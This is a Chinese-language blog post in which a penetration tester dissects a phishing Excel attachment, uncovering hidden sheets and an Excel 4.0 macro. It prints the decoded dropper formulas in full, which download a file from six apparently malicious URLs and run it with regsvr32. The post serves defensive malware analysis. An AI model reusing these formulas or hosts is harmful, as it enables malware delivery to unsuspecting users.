參與滲透測試小組好幾年了,第一次遇到真正的社交工程攻擊。
前天(2022/05/13)甫上班,同事就來電說他被釣魚了,叫我幫忙分析郵件裡的載荷。這位同事很機警,並沒有打開郵件,而是直接將它存成 .msg(outlook格式的郵件檔),我用Outlook的純文字模式開啟此封郵件,裡頭有一支Excel檔(.xls)。一下載此xls就被防載軟體砍掉,覺得有必要看看它有什麼機關?
用EXCEL開啟此xls時,會出現停用巨集的安全性警告(圖1),表示裡頭有巨集,下意識就切到VBScript編輯環境,但沒有發現任何巨集、也沒有要求輸入保護密碼,心中疑惑重重!想起林易澍老師教過「OfficeMalScanner」可以分離出被保護的巨集,但執行結果是「No VB-Marco code found!」(圖2)。
圖1:出現安全性警告 |
圖2:OfficeMalScanner找不到巨集 |
再端詳此xls,發現只有一張試算表,上面就只有一張圖片,原本以為是想利用圖片騙人點擊,但查看圖片的屬性,也沒發現和巨集有關聯。無意中發現工作列左方的「名稱框」有蹊蹺(圖3),不管選哪一個名稱都不會跳到名稱所代表的儲存格,也就是說「有東西被隱藏起來」,再回到VBScript編輯環境,真的發現有四張工作表,但試算表環境只能看到一張(圖4)。
圖3:名稱卻找不到對應的儲存格 |
圖4:在VBScript編輯環境可看到被隱藏的工作表 |
回到試算表環境,在下方頁籤點擊滑鼠右鍵,一一將隱藏的工作表還原,真的有五張工作表吔!可是~~可是~~,在VBScript編輯環境只看到四張表,哦!少了一張,那一張應該就是關鍵了!上網搜尋,的確有人提到去除VBScript編輯環境裡的sheet之方法(但沒有說如何復原)。
復原的Vv1、Vv2、Vv3這三張工作表只是一些參考文字,重點在FRHJDJDI這張工作表上,這張也是在VBScript編輯環境被去除的工作表。
FRHJDJDI只在F10這一格有公式,它是利用Vv1、Vv2、Vv3三張表的內容兜成公式文字,再利用FORMULA()去執行,但FORMULA()並非Excel的內建公式,亦即它是攻擊者製作的巨集(VBScript),經分析,FRHJDJDI的F10儲存格是要執行下列動作:
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/","..\wurod.ocx",0,0)
=IF(HRHRE1<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ingonherbal.com/application/PhEbceg4Tx/","..\wurod.ocx",0,0))
=IF(HRHRE2<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ftp.colibriconstruction.net/cc/KHieqeOsagkmlGIuXc56/","..\wurod.ocx",0,0))
=IF(HRHRE3<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://commune-ariana.tn/sites/3BvaCmo/","..\wurod.ocx",0,0))
=IF(HRHRE4<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dmaicinnovations.com/Swift-5.0.2/jEtePB/","..\wurod.ocx",0,0))
=IF(HRHRE5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drcreative.cz/images/DwThyQntyImCHk0tpba/","..\wurod.ocx",0,0))
=IF(HRHRE6<0, CLOSE(0),)
=EXEC("C:\Windows\System32\regsvr32.exe ..\wurod.ocx")
=RETURN()
原來此xls是利用開啟活頁簿時,Excel會自動計算公式的機制來執行惡意行為。從解析出來的公式,它會嘗試從六個來源下載木馬程式,只要有一個成功,就註冊成Active元件,至於這支惡意程式的功能還需等待逆向工程分析。另一個未解的問題是被去除工作表,有沒有方法可以將它回復?
後記:
感謝林易澍老師指導,原來這份檔案是使用Excel 4.0的巨集指令 (稱為xlm),自Excel 95起已棄用Excel 4.0的巨集指令,而已用VBA,但現行的Excel版本仍具備執行xlm能力。難怪找不出這份文件裡的vba程式碼,原來是我功力不足,找錯方向!
沒有留言:
張貼留言